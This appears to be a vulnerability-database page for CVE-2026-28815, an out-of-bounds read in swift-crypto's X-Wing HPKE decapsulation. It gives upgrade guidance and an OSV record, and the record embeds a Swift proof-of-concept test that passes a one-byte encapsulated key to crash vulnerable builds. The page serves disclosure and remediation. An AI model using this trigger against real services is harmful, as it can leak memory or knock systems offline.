CVE-2026-28815: Swift Crypto X-Wing HPKE Decapsulation Accepts Malformed Vulnerability
HIGHCVE-2026-28815 is a HIGH x-wing hpke decapsulation accepts malformed vulnerability (CWE-125: Out-of-bounds Read) affecting Swift Crypto libraries in the SwiftURL ecosystem. The issue involves x-wing hpke decapsulation accepts malformed ciphertext length. Remediation is available by upgrading affected packages to version 4.3.1.
CVE-2026-28815 at a Glance
How to Fix CVE-2026-28815
To remediate this vulnerability, upgrade all affected Swift Crypto dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/apple/swift-crypto to 4.3.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/apple/swift-crypto
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-28815, inspect your project dependencies for Swift Crypto:
inspect dependencies for github.com/apple/swift-crypto
Analyze the terminal output to locate any version of Swift Crypto in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.3.1), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-125: Out-of-bounds Read, where the product reads data past the end, or before the beginning, of the intended buffer. In Swift Crypto, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-28815 Affected Swift Crypto Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/apple/swift-crypto
|
SwiftURL |
≥ 4.0.0
< 4.3.1
|
4.3.1
|
References
Frequently Asked Questions
What is CVE-2026-28815?
Which Swift Crypto versions are affected?
What version fixes CVE-2026-28815?
Is github.com/apple/swift-crypto affected?
What CWE is associated with CVE-2026-28815?
How can I check SwiftURL dependencies for CVE-2026-28815?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9m44-rr2w-ppp7",
"modified" : "2026-12-04T17:02:31Z",
"published" : "2026-04-03T03:39:38Z",
"aliases" : [ "CVE-2026-28815" ],
"summary" : "Swift Crypto: X-Wing HPKE Decapsulation Accepts Malformed Ciphertext Length",
"details" : "Impact: A remote attacker may be able to leak memory\nDescription: An out-of-bounds read was addressed with improved input validation.\nCVE-2026-28815: Cantina\n\nWe would like to thank Cantina for providing a detailed report. A portion of their report is provided below.\n\n### Summary\n\nThe X-Wing decapsulation path accepts attacker-controlled encapsulated ciphertext without enforcing the required fixed ciphertext length. The decapsulation call is forwarded into a C API, which expects a compile-time fixed-size ciphertext buffer of 1120 bytes. This creates an FFI memory-safety boundary issue when a shorter `Data` value is passed in, because the C code may read beyond the Swift buffer.\n\nThe issue is reachable through initialization of an `HPKE.Recipient`, which decapsulates the provided `encapsulatedKey` during construction. A malformed `encapsulatedKey` can therefore trigger undefined behavior instead of a safe length-validation error.\n\n### Proof-of-concept\n\n```swift\n//===----------------------------------------------------------------------===//\n//\n// PoC for X-Wing malformed ciphertext-length decapsulation:\n// X-Wing decapsulation accepts malformed ciphertext length and forwards it to C.\n//\n// This test is intentionally unsafe and is expected to crash (or trip ASan)\n// on vulnerable builds when run.\n//\n//===----------------------------------------------------------------------===//\n\n#if canImport(FoundationEssentials)\nimport FoundationEssentials\n#else\nimport Foundation\n#endif\nimport XCTest\n\n#if CRYPTO_IN_SWIFTPM && !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n// Skip tests that require @testable imports of CryptoKit.\n#else\n#if !CRYPTO_IN_SWIFTPM_FORCE_BUILD_API\n@testable import CryptoKit\n#else\n@testable import Crypto\n#endif\n\nfinal class XWingMalformedEncapsulationPoCTests: XCTestCase {\n func testShortEncapsulatedKeyHPKERecipientInit() throws {\n if #available(iOS 19.0, macOS 16.0, watchOS 12.0, tvOS 19.0, macCatalyst 19.0, *) {\n let ciphersuite = HPKE.Ciphersuite.XWingMLKEM768X25519_SHA256_AES_GCM_256\n let skR = try XWingMLKEM768X25519.PrivateKey.generate()\n let malformedEncapsulatedKey = Data([0x00]) // should be 1120 bytes\n\n // Vulnerable path: HPKE.Recipient -> skR.decapsulate(enc) -> XWING_decap(...)\n _ = try HPKE.Recipient(\n privateKey: skR,\n ciphersuite: ciphersuite,\n info: Data(),\n encapsulatedKey: malformedEncapsulatedKey\n )\n\n XCTFail(\"Unexpectedly returned from malformed decapsulation path\")\n }\n }\n}\n\n#endif // CRYPTO_IN_SWIFTPM\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "SwiftURL",
"name" : "github.com/apple/swift-crypto"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "4.0.0"
}, {
"fixed" : "4.3.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 4.3.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/apple/swift-crypto/security/advisories/GHSA-9m44-rr2w-ppp7"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28815"
}, {
"type" : "WEB",
"url" : "https://github.com/apple/swift-crypto/commit/bb4ba815dab96d4edc1e0b86d7b9acf9ff973a84"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/apple/swift-crypto"
}, {
"type" : "WEB",
"url" : "https://github.com/apple/swift-crypto/releases/tag/4.3.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-125", "CWE-787" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-03T03:39:38Z",
"nvd_published_at" : "2026-04-03T03:16:18Z"
}
}